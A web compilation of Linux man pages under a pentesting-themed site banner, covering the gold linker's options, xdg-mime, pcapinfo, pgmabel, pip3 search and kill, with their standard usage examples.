Do not look for violations of the C++ One Definition Rule (default)

–dynamic-list-data
Add data symbols to dynamic symbols

–dynamic-list-cpp-new
Add C++ operator new/delete to dynamic symbols

–dynamic-list-cpp-typeinfo Add C++ typeinfo to dynamic symbols

–dynamic-list FILE
Read a list of dynamic symbols

–emit-stub-syms
(PowerPC only) Label linker stubs with a symbol (default)

–no-emit-stub-syms
(PowerPC only) Do not label linker stubs with a symbol

-e ADDRESS, –entry ADDRESS Set program start address

–eh-frame-hdr
Create exception frame header

–no-eh-frame-hdr
Do not create exception frame header (default)

–enable-new-dtags
Enable use of DT_RUNPATH (default)

–disable-new-dtags
Disable use of DT_RUNPATH

–enable-linker-version
Put the linker version string into the .comment section

–disable-linker-version
Put the linker version string into the .note.gnu.gold-version section (default)

–no-enum-size-warning
(ARM only) Do not warn about objects with incompatible enum sizes

–exclude-libs lib,lib …
Exclude libraries from automatic export

-E, –export-dynamic
Export all dynamic symbols

–no-export-dynamic
Do not export all dynamic symbols (default)

–export-dynamic-symbol SYMBOL
Export SYMBOL to dynamic symbol table

-EB
Link big-endian objects.

-EL
Link little-endian objects.

-f SHLIB, –auxiliary SHLIB Auxiliary filter for shared object symbol table

-F SHLIB, –filter SHLIB
Filter for shared object symbol table

–fatal-warnings
Treat warnings as errors

–no-fatal-warnings
Do not treat warnings as errors (default)

-fini SYMBOL
Call SYMBOL at unload-time

–fix-arm1176
(ARM only) Fix binaries for ARM1176 erratum (default)

–no-fix-arm1176
(ARM only) Do not fix binaries for ARM1176 erratum

–fix-cortex-a8
(ARM only) Fix binaries for Cortex-A8 erratum

–no-fix-cortex-a8
(ARM only) Do not fix binaries for Cortex-A8 erratum (default)

–fix-cortex-a53-843419
(AArch64 only) Fix Cortex-A53 erratum 843419

–no-fix-cortex-a53-843419
(AArch64 only) Do not fix Cortex-A53 erratum 843419 (default)

–fix-cortex-a53-835769
(AArch64 only) Fix Cortex-A53 erratum 835769

–no-fix-cortex-a53-835769
(AArch64 only) Do not fix Cortex-A53 erratum 835769 (default)

–fix-v4bx
(ARM only) Rewrite BX rn as MOV pc, rn for ARMv4

–fix-v4bx-interworking
(ARM only) Rewrite BX rn branch to ARMv4 interworking veneer

-fuse-ld [gold,bfd]
Ignored for GCC linker option compatibility

-g
Ignored

–gc-sections
Remove unused sections

–no-gc-sections
Don’t remove unused sections (default)

–gdb-index
Generate .gdb_index section

–no-gdb-index
Do not generate .gdb_index section (default)

–gnu-unique
Enable STB_GNU_UNIQUE symbol binding (default)

–no-gnu-unique
Disable STB_GNU_UNIQUE symbol binding

-G, -shared
Generate shared library

-h FILENAME, -soname FILENAME
Set shared library name

–hash-bucket-empty-fraction FRACTION
Min fraction of empty buckets in dynamic hash

–hash-style [sysv,gnu,both]
Dynamic hash style

-i
Alias for -r

–icf [none,all,safe]
Identical Code Folding. ‘–icf=safe’ Folds ctors, dtors and functions whose pointers are definitely not taken

–icf-iterations COUNT
Number of iterations of ICF (default 3)

–incremental
Do an incremental link if possible; otherwise, do a full link and prepare output for incremental linking

–no-incremental
Do a full link (default)

–incremental-full
Do a full link and prepare output for incremental linking

–incremental-update
Do an incremental link; exit if not possible

–incremental-base FILE
Set base file for incremental linking (default is output file)

–incremental-changed
Assume files changed

–incremental-unchanged
Assume files didn’t change

–incremental-unknown
Use timestamps to check files (default)

–incremental-startup-unchanged
Assume startup files unchanged (files preceding this option)

–incremental-patch PERCENT Amount of extra space to allocate for patches (default 10)

-init SYMBOL
Call SYMBOL at load-time

-I PROGRAM, –dynamic-linker PROGRAM
Set dynamic linker path

–just-symbols FILE
Read only symbol values from FILE

–keep-files-mapped
Keep files mapped across passes (default on 64bit architectures)

–no-keep-files-mapped
Release mapped files after each pass (default on 32bit architectures)

–keep-unique SYMBOL
Do not fold this symbol during ICF

-l LIBNAME, –library LIBNAME
Search for library LIBNAME

–ld-generated-unwind-info
Generate unwind information for PLT (default)

–no-ld-generated-unwind-info
Do not generate unwind information for PLT

-L DIR, –library-path DIR
Add directory to search path

–long-plt
(ARM only) Generate long PLT entries

–no-long-plt
(ARM only) Do not generate long PLT entries (default)

-m EMULATION
Set GNU linker emulation; obsolete

–map-whole-files
Map whole files to memory (default on 64bit architectures)

–no-map-whole-files
Map relevant file parts to memory (default on 32bit architectures)

–merge-exidx-entries
(ARM only) Merge exidx entries in debuginfo (default)

–no-merge-exidx-entries
(ARM only) Do not merge exidx entries in debuginfo

–mmap-output-file
Map the output file for writing (default)

–no-mmap-output-file
Do not map the output file for writing

-M, –print-map
Write map file on standard output

-Map MAPFILENAME
Write map file

-n, –nmagic
Do not page align data

-N, –omagic
Do not page align data, do not make text readonly

–no-omagic
Page align data, make text readonly (default)

–no-keep-memory
Use less memory and more disk I/O (included only for compatibility with GNU ld)

–no-undefined
Report undefined symbols (even with –shared)

–noinhibit-exec
Create an output file even if errors occur

-nostdlib
Only search directories specified on the command line

-o FILE, –output FILE
Set output file name

–oformat [binary]
Set output format

-O LEVEL, -optimize LEVEL
Optimize output file size

–orphan-handling [place,discard,warn,error]
Orphan section handling

-p
Ignored for ARM compatibility

–package-metadata [=JSON]
Generate package metadata note

-pie
Create a position independent executable

-no-pie
Do not create a position independent executable (default)

–pic-executable
Create a position independent executable

–no-pic-executable
Do not create a position independent executable (default)

–pic-veneer
Force PIC sequences for ARM/Thumb interworking veneers

-no-pipeline-knowledge
(ARM only) Ignore for backward compatibility (default)

–plt-align [=P2ALIGN]
(PowerPC only) Align PLT call stubs to fit cache lines

–plt-localentry
(PowerPC64 only) Optimize calls to ELFv2 localentry:0 functions

–no-plt-localentry
(PowerPC64 only) Don’t optimize ELFv2 calls (default)

–plt-static-chain
(PowerPC64 only) PLT call stubs should load r11

–no-plt-static-chain
(PowerPC64 only) PLT call stubs should not load r11 (default)

–plt-thread-safe
(PowerPC64 only) PLT call stubs with load-load barrier

–no-plt-thread-safe
(PowerPC64 only) PLT call stubs without barrier (default)

–plugin PLUGIN
Load a plugin library

–plugin-opt OPTION
Pass an option to the plugin

–posix-fallocate
Use posix_fallocate to reserve space in the output file (default)

–no-posix-fallocate
Use fallocate or ftruncate to reserve space

–power10-stubs [=auto,no,yes]
(PowerPC64 only) stubs use power10 insns

–no-power10-stubs
(PowerPC64 only) stubs do not use power10 insns

–preread-archive-symbols
Preread archive symbols when multi-threaded

–print-gc-sections
List removed unused sections on stderr

–no-print-gc-sections
Do not list removed unused sections (default)

–print-icf-sections
List folded identical sections on stderr

–no-print-icf-sections
Do not list folded identical sections (default)

–print-output-format
Print default output format

–print-symbol-counts FILENAME
Print symbols defined and used for each input

–push-state
Save the state of flags related to input files

–pop-state
Restore the state of flags related to input files

-q, –emit-relocs
Generate relocations in output

-Qy
Ignored for SVR4 compatibility

-r, -relocatable
Generate relocatable output

–relax
Relax branches on certain targets

–no-relax
Do not relax branches (default)

–retain-symbols-file FILE
keep only symbols listed in this file

–rosegment
Put read-only non-executable sections in their own segment

–no-rosegment
Do not put read-only non-executable sections in their own segment (default)

–rosegment-gap OFFSET
Set offset between executable and read-only segments

-R DIR
Add DIR to runtime search path

-rpath DIR
Add DIR to runtime search path

–rpath-link DIR
Add DIR to link time shared library search path

-s, –strip-all
Strip all symbols

-S, –strip-debug
Strip debugging information

–strip-debug-non-line
Emit only debug line number information

–strip-debug-gdb
Strip debug symbols that are unused by gdb (at least versions <= 7.4)

–strip-lto-sections
Strip LTO intermediate code sections (default)

–section-ordering-file FILENAME
Layout sections in the order specified

–section-start SECTION=ADDRESS
Set address of section

–secure-plt
(PowerPC only) Use new-style PLT (default)

–sort-common [={ascending,descending}]
Sort common symbols by alignment

–sort-section [none,name]
Sort sections by name. ‘–no-text-reorder’ will override ‘–sort-section=name’ for .text

–spare-dynamic-tags COUNT
Dynamic tag slots to reserve (default 5)

–stub-group-size SIZE
(ARM, PowerPC only) The maximum distance from instructions in a group of sections to their stubs. Negative values mean stubs are always after the group. 1 means use default size

–stub-group-multi
(PowerPC only) Allow a group of stubs to serve multiple output sections (default)

–no-stub-group-multi
(PowerPC only) Each output section has its own stubs

–split-stack-adjust-size SIZE
Stack size when -fsplit-stack function calls non-split

-static
Do not link against shared libraries

–start-lib
Start a library

–end-lib
End a library

–stats
Print resource usage statistics

–sysroot DIR
Set target system root directory

-t, –trace
Print the name of each input file

–target1-abs
(ARM only) Force R_ARM_TARGET1 type to R_ARM_ABS32

–target1-rel
(ARM only) Force R_ARM_TARGET1 type to R_ARM_REL32

–target2 [rel, abs, got-rel
(ARM only) Set R_ARM_TARGET2 relocation type

–text-reorder
Enable text section reordering for GCC section names (default)

–no-text-reorder
Disable text section reordering for GCC section names

–threads
Run the linker multi-threaded

–no-threads
Do not run the linker multi-threaded (default)

–thread-count COUNT
Number of threads to use

–thread-count-initial COUNT
Number of threads to use in initial pass

–thread-count-middle COUNT Number of threads to use in middle pass

–thread-count-final COUNT
Number of threads to use in final pass

–tls-optimize
(PowerPC/64 only) Optimize GD/LD/IE code to IE/LE (default)

–no-tls-optimize
(PowerPC/64 only) Don’‘’t try to optimize TLS accesses

–tls-get-addr-optimize
(PowerPC/64 only) Use a special __tls_get_addr call (default)

–no-tls-get-addr-optimize
(PowerPC/64 only) Don’t use a special __tls_get_addr call

–toc-optimize
(PowerPC64 only) Optimize TOC code sequences (default)

–no-toc-optimize
(PowerPC64 only) Don’t optimize TOC code sequences

–toc-sort
(PowerPC64 only) Sort TOC and GOT sections (default)

–no-toc-sort
(PowerPC64 only) Don’t sort TOC and GOT sections

-T FILE, –script FILE
Read linker script

-Tbss ADDRESS
Set the address of the bss segment

-Tdata ADDRESS
Set the address of the data segment

-Ttext ADDRESS
Set the address of the text segment

-Ttext-segment ADDRESS
Set the address of the text segment

-Trodata-segment ADDRESS
Set the address of the rodata segment

-u SYMBOL, –undefined SYMBOL
Create undefined reference to SYMBOL

–unresolved-symbols ignore-all,report-all,ignore-in-object-files,ignore-in-shared-libs
How to handle unresolved symbols

–verbose
Alias for –debug=files

–version-script FILE
Read version script

–warn-common
Warn about duplicate common symbols

–no-warn-common
Do not warn about duplicate common symbols (default)

–warn-constructors
Ignored

–no-warn-constructors
Ignored

–warn-drop-version
Warn when discarding version information

–no-warn-drop-version
Do not warn when discarding version information (default)

–warn-execstack
Warn if the stack is executable

–no-warn-execstack
Do not warn if the stack is executable (default)

–no-warn-mismatch
Don’t warn about mismatched input files

–warn-multiple-gp
Ignored

–warn-search-mismatch
Warn when skipping an incompatible library (default)

–no-warn-search-mismatch
Don’t warn when skipping an incompatible library

–warn-shared-textrel
Warn if text segment is not shareable

–no-warn-shared-textrel
Do not warn if text segment is not shareable (default)

–warn-unresolved-symbols
Report unresolved symbols as warnings

–error-unresolved-symbols
Report unresolved symbols as errors (default)

-z buildd
Dummy z option

–no-wchar-size-warning
(ARM only) Do not warn about objects with incompatible wchar_t sizes

–weak-unresolved-symbols
Convert unresolved symbols to weak references

–whole-archive
Include all archive contents

–no-whole-archive
Include only needed archive contents (default)

–wrap SYMBOL
Use wrapper functions for SYMBOL

-x, –discard-all
Delete all local symbols

-X, –discard-locals
Delete all temporary local symbols

–discard-none
Keep all local symbols

-y SYMBOL, –trace-symbol SYMBOL
Trace references to symbol

–undefined-version
Allow unused version in script (default)

–no-undefined-version
Do not allow unused version in script

-Y PATH
Default search path for Solaris compatibility

-(, –start-group
Start a library search group

-), –end-group
End a library search group

-z combreloc
Sort dynamic relocs (default)

-z nocombreloc
Do not sort dynamic relocs

-z common-page-size=SIZE
Set common page size to SIZE

-z defs
Report undefined symbols (even with –shared)

-z execstack
Mark output as requiring executable stack

-z global
Make symbols in DSO available for subsequently loaded objects

-z initfirst
Mark DSO to be initialized first at runtime

-z interpose
Mark object to interpose all DSOs but executable

-z unique
Mark DSO to be loaded at most once, and only in the main namespace

-z nounique
Do not mark the DSO as one to be loaded only in the main namespace (default)

-z lazy
Mark object for lazy runtime binding (default)

-z loadfltr
Mark object requiring immediate process

-z max-page-size=SIZE
Set maximum page size to SIZE

-z muldefs
Allow multiple definitions of symbols

-z nocopyreloc
Do not create copy relocs

-z nodefaultlib
Mark object not to use default search paths

-z nodelete
Mark DSO non-deletable at runtime

-z nodlopen
Mark DSO not available to dlopen

-z nodump
Mark DSO not available to dldump

-z noexecstack
Mark output as not requiring executable stack

-z now
Mark object for immediate function binding

-z origin
Mark DSO to indicate that needs immediate $ORIGIN processing at runtime

-z relro
Where possible mark variables read-only after relocation (default)

-z norelro
Don’t mark variables read-only after relocation

-z stack-size=SIZE
Set PT_GNU_STACK segment p_memsz to SIZE

-z start-stop-visibility=[default,internal,hidden,protected]
ELF symbol visibility for synthesized __start_* and __stop_* symbols

-z text
Do not permit relocations in read-only segments

-z notext
Permit relocations in read-only segments (default)

-z textoff
Permit relocations in read-only segments (default)

-z text-unlikely-segment
Move .text.unlikely sections to a separate segment.

-z notext-unlikely-segment
Do not move .text.unlikely sections to a separate segment. (default)

-z keep-text-section-prefix Keep .text.hot, .text.startup, .text.exit and .text.unlikely as separate sections in the final binary.

-z nokeep-text-section-prefix
Merge all .text.* prefix sections. (default)

Run gold –help for a list of supported targets and emulations.

REPORTING BUGS

Report bugs to <https://sourceware.org/bugzilla/>

COPYRIGHT

Copyright © 2024 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or (at your option) a later version. This program has absolutely no warranty.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

329 - Linux cli command xdg-mime

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-mime and provides detailed information about the command xdg-mime, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-mime.

NAME 🖥️ xdg-mime 🖥️

mime - command line tool for querying information about file type handling and adding descriptions for new file types

SYNOPSIS

xdg-mime query {filetype | default} …

xdg-mime default application mimetype(s)

xdg-mime install [–mode mode] [–novendor] mimetypes-file

xdg-mime uninstall [–mode mode] mimetypes-file

xdg-mime {–help | –manual | –version}

DESCRIPTION

The xdg-mime program can be used to query information about file types and to add descriptions for new file types.

COMMANDS

query

Returns information related to file types.

The query option is for use inside a desktop session only. It is not recommended to use xdg-mime query as root.

The following queries are supported:

query filetype FILE: Returns the file type of FILE in the form of a MIME type.

query default mimetype: Returns the default application that the desktop environment uses for opening files of type mimetype. The default application is identified by its *.desktop file.

default

Ask the desktop environment to make application the default application for opening files of type mimetype. An application can be made the default for several file types by specifying multiple mimetypes.

application is the desktop file id of the application and has the form vendor-name.desktop. application must already be installed in the desktop menu before it can be made the default handler. The applications desktop file must list support for all the MIME types that it wishes to be the default handler for.

Requests to make an application a default handler may be subject to system policy or approval by the end-user. xdg-mime query can be used to verify whether an application is the actual default handler for a specific file type.

The default option is for use inside a desktop session only. It is not recommended to use xdg-mime default as root.

install

Adds the file type descriptions provided in mimetypes-file to the desktop environment. mimetypes-file must be a XML file that follows the freedesktop.org Shared MIME-info Database specification and that has a mime-info element as its document root. For each new file type one or more icons with name type-subtype must be installed with the xdg-icon-resource command in the mimetypes context. For example the filetype application/vnd.oasis.opendocument.text requires an icon named application-vnd.oasis.opendocument.text to be installed (unless the file type recommends another icon name).

uninstall

Removes the file type descriptions provided in mimetypes-file and previously added with xdg-mime install from the desktop environment. mimetypes-file must be a XML file that follows the freedesktop.org Shared MIME-info Database specification and that has a mime-info element as its document root.

OPTIONS

–mode mode

mode can be user or system. In user mode the file is (un)installed for the current user only. In system mode the file is (un)installed for all users on the system. Usually only root is allowed to install in system mode.

The default is to use system mode when called by root and to use user mode when called by a non-root user.

–novendor

Normally, xdg-mime checks to ensure that the mimetypes-file to be installed has a proper vendor prefix. This option can be used to disable that check.

A vendor prefix consists of alpha characters ([a-zA-Z]) and is terminated with a dash ("-"). Companies and organizations are encouraged to use a word or phrase, preferably the organizations name, for which they hold a trademark as their vendor prefix. The purpose of the vendor prefix is to prevent name conflicts.

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

ENVIRONMENT VARIABLES

xdg-mime honours the following environment variables:

XDG_UTILS_DEBUG_LEVEL

Setting this environment variable to a non-zero numerical value makes xdg-mime do more verbose reporting on stderr. Setting a higher value increases the verbosity.

XDG_UTILS_INSTALL_MODE

This environment variable can be used by the user or administrator to override the installation mode. Valid values are user and system.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

5

No permission to read one of the files passed on the command line.

SEE ALSO

xdg-icon-resource(1), xdg-desktop-menu(1), Shared MIME database specification[1], MIME applications associations specification[2]

EXAMPLES

xdg-mime query filetype /tmp/foobar.png

Prints the MIME type of the file /tmp/foobar.png, in this case image/png

xdg-mime query default image/png

Prints the .desktop filename of the application which is registered to open PNG files.

xdg-mime install shinythings-shiny.xml

Adds a file type description for “shiny”-files. “shinythings-” is used as the vendor prefix. The file type description could look as follows.

shinythings-shiny.xml:

<?xml version="1.0"?>
<mime-info xmlns=http://www.freedesktop.org/standards/shared-mime-info>
  <mime-type type="text/x-shiny">
    <comment>Shiny new file type</comment>
    <glob pattern="*.shiny"/>
    <glob pattern="*.shi"/>
  </mime-type>
</mime-info>

An icon for this new file type must also be installed, for example with:

xdg-icon-resource install –context mimetypes –size 64 shiny-file-icon.png text-x-shiny

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

Shared MIME database specification

http://www.freedesktop.org/wiki/Specifications/shared-mime-info-spec/

MIME applications associations specification

http://www.freedesktop.org/wiki/Specifications/mime-apps-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

330 - Linux cli command pcapinfop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcapinfop and provides detailed information about the command pcapinfop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcapinfop.

NAME 🖥️ pcapinfop 🖥️

Prints detailed information about the network devices

SYNOPSIS

pcapinfo

OPTIONS

None.

DESCRIPTION

pcapinfo prints detailed information about the network devices and Pcap library available on the current host. Here is an example:

Host information —————- Hostname : fangorn.maddingue.net Aliases : fangorn.local fangorn Pcap version : libpcap version 0.8.3 Devices information ——————- Device eth0 (default) Description : No description available Link type : Ethernet, no autonegotiation, 10baseT-HD, link ok Hardware address : 00:0c:6e:0a:c3:ca Network address : 10.0.1.51 Network mask : 255.255.255.0 Flags : up running broadcast multicast Device eth1 Description : No description available Link type : Ethernet, no autonegotiation, 10baseT-HD, link ok Hardware address : 00:26:54:0a:d8:4d Network address : 192.168.1.51 Network mask : 255.255.255.0 Flags : up running broadcast multicast

The device marked as "(default)" is the one returned when calling Net::Pcap::lookupdev()

Some information like the link type can only be gathered with administrative privileges.

AUTHOR

Sébastien Aperghis-Tramoni, <[email protected]>

COPYRIGHT

Copyright (C) 2005, 2006, 2007, 2008, 2009 Sébastien Aperghis-Tramoni. All rights reserved.

This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

331 - Linux cli command pgmabel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmabel and provides detailed information about the command pgmabel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmabel.

.

NAME 🖥️ pgmabel 🖥️

create cross section using Abel Integration for Deconvolution

SYNOPSIS

pgmabel [-help] [-axis axis] [-factor factor] [-pixsize pixsize] [-left | -right] [-verbose] [filespec]

DESCRIPTION

This program is part of Netpbm(1) .

pgmabel reads as input a PGM image, which it assumes to be an image of a rotational symmetric transparent object. The image must have a vertical symmetry axis. pgmabel produces as output an image of a cross-section of the image.

pgmabel does the calculation by performing the Abel Integration for Deconvolution of an axial-symmetrical image by solving the system of linear equations.

After integration, pgmabel weights all gray-values of one side by the surface area of the calculated ring in square pixels divided by 4*factor multiplied by the size of one pixel (pixsize). With the -verbose option, pgmabel prints the weighting factors.

Where the calculation generates a negative result, the output is black.

The computation is unstable against periodic structures with size 2 in the vertical direction.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmabel recognizes the following command line options:

You can abbreviate any option to its shortest unique prefix.

-help
Prints a help message.

-axis axis
Position of the axis of symmetry in the image in pixels from the left edge of the image. Default is the center of the image.

-factor factor
User defined factor for enhancement of the output. Use a factor less than 1 for decreasing gary values. Default is 1.0.

-pixsize pixsize
The size of a pixel for getting scale invariant. Default is 0.1.

-left
Calculate only the left side of the image. You cannot specify both left and right.

-right
Analogous to -left.

-verbose
print information about the calculation.

EXAMPLE

Rotate a PGM image to get an image with a vertical axis of symmetry, then calculate the cross section:

    pnmrotate 90 file.pgm | pgmabel -axis 140 >cross_section.pgm

SEE ALSO

pnmrotate(1) , pgm(1) ,

HISTORY

This program was added to Netpbm in Release 10.3 (June 2002).

AUTHOR

Volker Schmidt ([email protected])

Copyright (C) 1997-2002 German Aerospace research establishment

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmabel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

332 - Linux cli command pip3-search

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-search and provides detailed information about the command pip3-search, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-search.

NAME 🖥️ pip3-search 🖥️

search - description of pip3 search command

DESCRIPTION

Search for PyPI packages whose name or summary contains <query>.

USAGE

python -m pip search [options]

OPTIONS

-i, –index <url>
Base URL of Python Package Index (default https://pypi.org/pypi)

(environment variable: PIP_INDEX)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

333 - Linux cli command kill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kill and provides detailed information about the command kill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kill.

NAME 🖥️ kill 🖥️

send a signal to a process

SYNOPSIS

kill [options] <pid> […]

DESCRIPTION

The default signal for kill is TERM. Use -l or -L to list available signals. Particularly useful signals include HUP, INT, KILL, STOP, CONT, and 0. Alternate signals may be specified in three ways: -9, -SIGKILL or -KILL. Negative PID values may be used to choose whole process groups; see the PGID column in ps command output. A PID of -1 is special; it indicates all processes except the kill process itself and init.

OPTIONS

<pid> […]
Send signal to every <pid> listed.

-<signal>
-s <signal>
–signal <signal>
Specify the signal to be sent. The signal can be specified by using name or number. The behavior of signals is explained in signal(7) manual page.

-q, –queue value
Use sigqueue(3) rather than kill(2) and the value argument is used to specify an integer to be sent with the signal. If the receiving process has installed a handler for this signal using the SA_SIGINFO flag to sigaction(2), then it can obtain this data via the si_value field of the siginfo_t structure.

-l, –list [signal]
List signal names. This option has optional argument, which will convert signal number to signal name, or other way round.

-L,** –table**
List signal names in a nice table.

NOTES

Your shell (command line interpreter) may have a built-in kill command. You may need to run the command described here as /bin/kill to solve the conflict.

EXAMPLES

kill -9 -1
Kill all processes you can kill.

kill -l 11
Translate number 11 into a signal name.

kill -L
List the available signal choices in a nice table.

kill 123 543 2341 3453
Send the default signal, SIGTERM, to all those processes.

SEE ALSO

kill(2), killall(1), nice(1), pkill(1), renice(1), signal(7), sigqueue(3), skill(1)

STANDARDS

This command meets appropriate standards. The -L flag is Linux-specific.

AUTHOR

Albert Cahalan wrote kill in 1999 to replace a bsdutils one that was not standards compliant. The util-linux one might also work correctly.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

